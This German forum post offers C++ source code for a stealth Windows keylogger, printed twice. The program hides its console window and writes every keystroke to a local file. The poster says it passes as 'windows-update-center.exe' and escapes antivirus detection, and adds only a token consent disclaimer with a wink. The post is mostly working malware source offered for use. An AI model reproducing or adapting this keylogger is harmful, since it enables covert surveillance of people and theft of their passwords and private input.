Follow along with the video below to see how to install our site as a web app on your home screen.
Anmerkung: This feature may not be available in some browsers.
[COLOR=SeaGreen]#include <windows.h>
#include <Winuser.h>
#include <string.h>
#include <fstream>
#include <stdio.h>
#include <direct.h>
#define GetCurrentDir _getcwd[/COLOR]
[COLOR=RoyalBlue]//Testet ob ein Key abgefragt wurde [/COLOR]
std::string GetKey(int Key)
{
std::string KeyString = "";
if ( (Key > 64 && Key < 91) ) {
if (GetAsyncKeyState(VK_SHIFT) || GetAsyncKeyState(VK_CAPITAL)) {
Key = Key;
}
else {
Key = Key + 32;
}
KeyString = Key;
}
if (Key > 47 && Key < 58 ) {
if (GetAsyncKeyState(VK_SHIFT) || GetAsyncKeyState(VK_CAPITAL)) {
switch (Key)
{
case 49: Key = 33;break;
case 50: Key = 34;break;
case 51: Key = 167;break;
case 52: Key = 36;break;
case 53: Key = 37;break;
case 54: Key = 38;break;
case 55: Key = 47;break;
case 56: Key = 40;break;
case 57: Key = 41;break;
case 48: Key = 61;break;
}
}
KeyString = Key;
}
if (Key == 46) {
KeyString = "[entf]";
}
if (Key == 8){
KeyString = "[delete]";
}
if (Key == 13){
KeyString = "\n";
}
if (Key == 32){
KeyString = " ";
}
return KeyString;
}
int main()
{
std::string Filename = "logger.txt"; [COLOR=RoyalBlue]//Datei, wo die Eingabe abgespeichert wird[/COLOR]
std::string TempString = "";
std::fstream FStream;
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
[COLOR=RoyalBlue] //setzt das Programm immer in den Vordergrund und ist unsichtbar auf [/COLOR]dem Monitor
HWND stealth;
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
while(true)
{
[COLOR=RoyalBlue]//Verhindert CPU Auslastung 5ms sleep [/COLOR]
Sleep(5);
for(int i = 8; i < 191; i++)
{
if(GetAsyncKeyState(i)&1 ==1)
{
TempString = GetKey (i);
FStream.write(TempString.c_str(), TempString.size());
FStream.close();
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
}
}
if (GetAsyncKeyState(VK_LCONTROL) && GetAsyncKeyState(VK_F1)) break;
}
return 0;
}
Hey,
die Antwort kommt bestimmt jetzt zu spät aber ich hab für dich einen einfachen Keylogger geschrieben. Dieser läuft immer im Vordergrund, ist aber unsichtbar. Du kannst daher das Programm nur im Taskmanager unter Prozesse mit dem Namen "windows-update-center.exe" sehen. Also beachte, dass das Programm nur für Windows funktioniert. Natürlich darf das Programm nur mit Einwilligung des "Geschädigten" eingesetzt werden, aus rechtlichen Gründen.
Also ist das Programm nur zur Kontrolle für die Funktion der Tastatur da.^^
Wenn jemand Lust und Muse hat, kann mal probieren, dieses Programm daran zu hindern, dass es alles mitschreibt. Es ist sehr erschreckend, dass ein Programmmier-Noob, wie ich, es schaft ein nicht vom Antivirenprogramm entdeckbaren Keylogger zu schreiben.
Mit STRG + F1 wird das Programm beendet.
Quellcode(in c++):
MFG GreenReptilCode:[COLOR=SeaGreen]#include <windows.h> #include <Winuser.h> #include <string.h> #include <fstream> #include <stdio.h> #include <direct.h> #define GetCurrentDir _getcwd[/COLOR] [COLOR=RoyalBlue]//Testet ob ein Key abgefragt wurde [/COLOR] std::string GetKey(int Key) { std::string KeyString = ""; if ( (Key > 64 && Key < 91) ) { if (GetAsyncKeyState(VK_SHIFT) || GetAsyncKeyState(VK_CAPITAL)) { Key = Key; } else { Key = Key + 32; } KeyString = Key; } if (Key > 47 && Key < 58 ) { if (GetAsyncKeyState(VK_SHIFT) || GetAsyncKeyState(VK_CAPITAL)) { switch (Key) { case 49: Key = 33;break; case 50: Key = 34;break; case 51: Key = 167;break; case 52: Key = 36;break; case 53: Key = 37;break; case 54: Key = 38;break; case 55: Key = 47;break; case 56: Key = 40;break; case 57: Key = 41;break; case 48: Key = 61;break; } } KeyString = Key; } if (Key == 46) { KeyString = "[entf]"; } if (Key == 8){ KeyString = "[delete]"; } if (Key == 13){ KeyString = "\n"; } if (Key == 32){ KeyString = " "; } return KeyString; } int main() { std::string Filename = "logger.txt"; [COLOR=RoyalBlue]//Datei, wo die Eingabe abgespeichert wird[/COLOR] std::string TempString = ""; std::fstream FStream; FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app); [COLOR=RoyalBlue] //setzt das Programm immer in den Vordergrund und ist unsichtbar auf [/COLOR]dem Monitor HWND stealth; stealth=FindWindowA("ConsoleWindowClass",NULL); ShowWindow(stealth,0); while(true) { [COLOR=RoyalBlue]//Verhindert CPU Auslastung 5ms sleep [/COLOR] Sleep(5); for(int i = 8; i < 191; i++) { if(GetAsyncKeyState(i)&1 ==1) { TempString = GetKey (i); FStream.write(TempString.c_str(), TempString.size()); FStream.close(); FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app); } } if (GetAsyncKeyState(VK_LCONTROL) && GetAsyncKeyState(VK_F1)) break; } return 0; }